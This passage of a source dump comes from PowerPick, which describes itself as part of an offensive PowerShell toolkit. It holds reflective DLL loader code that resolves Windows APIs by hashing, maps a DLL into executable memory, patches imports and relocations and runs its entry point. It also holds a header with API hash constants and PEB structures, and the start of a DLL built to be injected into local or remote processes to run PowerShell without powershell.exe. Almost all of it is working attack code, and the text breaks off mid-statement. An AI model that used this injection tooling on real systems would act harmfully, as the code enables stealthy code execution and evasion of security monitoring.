(ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while( uiValueA ) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror( (DWORD)uiValueC ); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if( *((BYTE *)uiValueB) >= 'a' ) 140 | uiValueC += *((BYTE *)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE *)uiValueB); 143 | uiValueB++; 144 | } while( --usCounter ); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while( usCounter > 0 ) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 183 | 184 | // store this functions VA 185 | if( dwHashValue == LOADLIBRARYA_HASH ) 186 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 187 | else if( dwHashValue == GETPROCADDRESS_HASH ) 188 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 189 | else if( dwHashValue == VIRTUALALLOC_HASH ) 190 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while( usCounter > 0 ) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 239 | 240 | // store this functions VA 241 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF( uiValueA ); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while( uiValueA-- ) 279 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while( uiValueE-- ) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while( uiValueD-- ) 300 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 314 | 315 | // itterate through all imports 316 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while( DEREF(uiValueA) ) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof( ULONG_PTR ); 361 | if( uiValueD ) 362 | uiValueD += sizeof( ULONG_PTR ); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 376 | 377 | // check if their are any relocations present 378 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 382 | 383 | // and we itterate through all entries... 384 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while( uiValueB-- ) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 402 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 404 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 416 | // sanity chack we are processing a MOV instruction... 417 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)( dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 435 | } 436 | } 437 | #endif 438 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 439 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 441 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof( IMAGE_RELOC ); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch( dwReason ) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if( lpReserved != NULL ) 482 | *(HMODULE *)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectiveLoader.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #include "ReflectiveDLLInjection.h" 37 | 38 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 39 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 40 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 41 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 42 | 43 | #define KERNEL32DLL_HASH 0x6A4ABC5B 44 | #define NTDLLDLL_HASH 0x3CFA685D 45 | 46 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 47 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 48 | #define VIRTUALALLOC_HASH 0x91AFCA54 49 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 50 | 51 | #define IMAGE_REL_BASED_ARM_MOV32A 5 52 | #define IMAGE_REL_BASED_ARM_MOV32T 7 53 | 54 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 55 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 56 | #define ARM_MOVW 0xF2400000 57 | #define ARM_MOVT 0xF2C00000 58 | 59 | #define HASH_KEY 13 60 | //===============================================================================================// 61 | #pragma intrinsic( _rotr ) 62 | 63 | __forceinline DWORD ror( DWORD d ) 64 | { 65 | return _rotr( d, HASH_KEY ); 66 | } 67 | 68 | __forceinline DWORD hash( char * c ) 69 | { 70 | register DWORD h = 0; 71 | do 72 | { 73 | h = ror( h ); 74 | h += *c; 75 | } while( *++c ); 76 | 77 | return h; 78 | } 79 | //===============================================================================================// 80 | typedef struct _UNICODE_STR 81 | { 82 | USHORT Length; 83 | USHORT MaximumLength; 84 | PWSTR pBuffer; 85 | } UNICODE_STR, *PUNICODE_STR; 86 | 87 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 88 | //__declspec( align(8) ) 89 | typedef struct _LDR_DATA_TABLE_ENTRY 90 | { 91 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 92 | LIST_ENTRY InMemoryOrderModuleList; 93 | LIST_ENTRY InInitializationOrderModuleList; 94 | PVOID DllBase; 95 | PVOID EntryPoint; 96 | ULONG SizeOfImage; 97 | UNICODE_STR FullDllName; 98 | UNICODE_STR BaseDllName; 99 | ULONG Flags; 100 | SHORT LoadCount; 101 | SHORT TlsIndex; 102 | LIST_ENTRY HashTableEntry; 103 | ULONG TimeDateStamp; 104 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 105 | 106 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 107 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 108 | { 109 | DWORD dwLength; 110 | DWORD dwInitialized; 111 | LPVOID lpSsHandle; 112 | LIST_ENTRY InLoadOrderModuleList; 113 | LIST_ENTRY InMemoryOrderModuleList; 114 | LIST_ENTRY InInitializationOrderModuleList; 115 | LPVOID lpEntryInProgress; 116 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 117 | 118 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 119 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 120 | { 121 | struct _PEB_FREE_BLOCK * pNext; 122 | DWORD dwSize; 123 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 124 | 125 | // struct _PEB is defined in Winternl.h but it is incomplete 126 | // WinDbg> dt -v ntdll!_PEB 127 | typedef struct __PEB // 65 elements, 0x210 bytes 128 | { 129 | BYTE bInheritedAddressSpace; 130 | BYTE bReadImageFileExecOptions; 131 | BYTE bBeingDebugged; 132 | BYTE bSpareBool; 133 | LPVOID lpMutant; 134 | LPVOID lpImageBaseAddress; 135 | PPEB_LDR_DATA pLdr; 136 | LPVOID lpProcessParameters; 137 | LPVOID lpSubSystemData; 138 | LPVOID lpProcessHeap; 139 | PRTL_CRITICAL_SECTION pFastPebLock; 140 | LPVOID lpFastPebLockRoutine; 141 | LPVOID lpFastPebUnlockRoutine; 142 | DWORD dwEnvironmentUpdateCount; 143 | LPVOID lpKernelCallbackTable; 144 | DWORD dwSystemReserved; 145 | DWORD dwAtlThunkSListPtr32; 146 | PPEB_FREE_BLOCK pFreeList; 147 | DWORD dwTlsExpansionCounter; 148 | LPVOID lpTlsBitmap; 149 | DWORD dwTlsBitmapBits[2]; 150 | LPVOID lpReadOnlySharedMemoryBase; 151 | LPVOID lpReadOnlySharedMemoryHeap; 152 | LPVOID lpReadOnlyStaticServerData; 153 | LPVOID lpAnsiCodePageData; 154 | LPVOID lpOemCodePageData; 155 | LPVOID lpUnicodeCaseTableData; 156 | DWORD dwNumberOfProcessors; 157 | DWORD dwNtGlobalFlag; 158 | LARGE_INTEGER liCriticalSectionTimeout; 159 | DWORD dwHeapSegmentReserve; 160 | DWORD dwHeapSegmentCommit; 161 | DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset:12; 199 | WORD type:4; 200 | } IMAGE_RELOC, *PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// -------------------------------------------------------------------------------- /PowerPick/ReflectivePick/ReflectivePick.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * ReflectivePick 3 | * Description: This DLL loads is reflectively loaded into a local/remote process to introduce and run powershell code. Made to be used with 4 | * PSInject.ps1 to basically add migrate/inject capability to powershell. 5 | * 6 | * THIS CODE IS ALMOST ENTIRELY FROM UnmanagedPowerShell by Lee Christensen (@tifkin_). It was transformed from an exe format into a 7 | * Reflective DLL to be used within the PowerPick project. Please recognize that credit for the disovery of this method of running PS code 8 | * from C++ and all code contained within was his original work. The original executable can be found here: https://github.com/leechristensen/UnmanagedPowerShell 9 | * 10 | * License: 3-Clause BSD License. See Veil PowerTools Project 11 | * 12 | * This application is part of Veil PowerTools, a collection of offensive PowerShell 13 | * capabilities. Hope they help! 14 | * 15 | * This is part of a sub-repo of PowerPick, a toolkit used to run PowerShell code without the use of Powershell.exe 16 | */ 17 | 18 | #include "stdafx.h" 19 | #pragma region Includes and Imports 20 | #include 21 | #include 22 | #include 23 | #include "PowerShellRunnerDll.h" 24 | 25 | #include 26 | #pragma comment(lib, "mscoree.lib") 27 | 28 | // Import mscorlib.tlb (Microsoft Common Language Runtime Class Library). 29 | #import "mscorlib.tlb" raw_interfaces_only \ 30 | high_property_prefixes("_get","_put","_putref") \ 31 | rename("ReportEvent", "InteropServices_ReportEvent") 32 | using namespace mscorlib; 33 | #pragma endregion 34 | 35 | 36 | 37 | extern const unsigned int PowerShellRunner_dll_len; 38 | extern unsigned char PowerShellRnuner_dll[]; 39 | void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command); 40 | 41 | extern "C" __declspec( dllexport ) void VoidFunc() 42 | { 43 | 44 | HRESULT hr; 45 | 46 | ICLRMetaHost *pMetaHost = NULL; 47 | ICLRRuntimeInfo *pRuntimeInfo = NULL; 48 | ICorRuntimeHost *pCorRuntimeHost = NULL; 49 | 50 | IUnknownPtr spAppDomainThunk = NULL; 51 | _AppDomainPtr spDefaultAppDomain = NULL; 52 | 53 | // The .NET assembly to load. 54 | bstr_t bstrAssemblyName("PowerShellRunner"); 55 | _AssemblyPtr spAssembly = NULL; 56 | 57 | // The .NET class to instantiate. 58 | bstr_t bstrClassName("PowerShellRunner.PowerShellRunner"); 59 | _TypePtr spType = NULL; 60 | 61 | 62 | // Start the runtime 63 | hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost)); 64 | if (FAILED(hr)) 65 | { 66 | wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr); 67 | goto Cleanup; 68 | } 69 | 70 | hr = pMetaHost->GetRuntime(L"v2.0.50727", IID_PPV_ARGS(&pRuntimeInfo)); 71 | if (FAILED(hr)) 72 | { 73 | wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr); 74 | goto Cleanup; 75 | } 76 | 77 | // Check if the specified runtime can be loaded into the process. 78 | BOOL fLoadable; 79 | hr = pRuntimeInfo->IsLoadable(&fLoadable); 80 | if 